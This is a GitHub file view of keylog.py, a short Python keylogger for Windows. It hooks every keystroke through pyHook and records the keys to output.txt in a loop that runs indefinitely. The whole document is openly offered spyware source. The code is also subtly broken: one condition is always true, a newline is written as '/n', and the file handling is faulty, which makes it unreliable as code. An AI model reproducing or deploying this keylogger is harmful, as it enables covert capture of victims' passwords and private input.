-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathkeylog.py
32 lines (31 loc) · 872 Bytes
/
keylog.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Python code for keylogger
# to be used in windows
import win32console
import pythoncom, pyHook
import os, sys
win = win32console.GetConsoleWindow()
def OnKeyboardEvent(event):
if event.Ascii==5:
sys.exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f = open(os.getcwd()+'\output.txt', 'r+')
buffer = f.read()
f.truncate()
f.close()
# open output.txt to write current + new keystrokes
f = open(os.getcwd()+'\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
return 1
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()